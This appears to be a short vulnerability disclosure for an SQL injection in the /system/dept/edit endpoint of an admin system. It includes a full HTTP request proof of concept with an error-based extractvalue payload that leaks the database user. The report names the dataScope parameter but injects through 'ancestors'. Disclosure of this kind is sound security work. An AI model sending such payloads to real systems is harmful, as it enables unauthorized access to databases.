Skip to content

Latest commit

 

History

History
32 lines (26 loc) · 1.72 KB

report.md

File metadata and controls

32 lines (26 loc) · 1.72 KB

SQL injection exists in the dataScope parameter of the /system/dept/edit interface of the system.
The cause of this vulnerability is the use of the $ placeholder symbol.
image
Find the front-end interface of the interface, enter the department management menu, and click the edit button.
image
poc:

POST /system/dept/edit HTTP/1.1
Host: 127.0.0.1:9999
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: application/json, text/javascript, /; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 111
Origin: http://127.0.0.1:9999
Connection: close
Referer: http://127.0.0.1:9999/system/dept/edit/104
Cookie: Hm_lvt_f8cddee34ca21f05373a9388cfdd798b=1704968094; Hm_lvt_bfe2407e37bbaa8dc195c5db42daf96a=1705885425; _jpuid="MTY3ZTZkMDhmMDQ5ODc1MDgzNGZkYmUyNDk4NzBhMTYjMTcwNTg4ODcwODg0OSMxNzI4MDAjTVE9PQ=="
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

DeptName=1&DeptId=100&ParentId=12&Status=0&OrderNum=1&ancestors=0)or(extractvalue(1,concat((select user()))));#

Successfully viewed user. image
image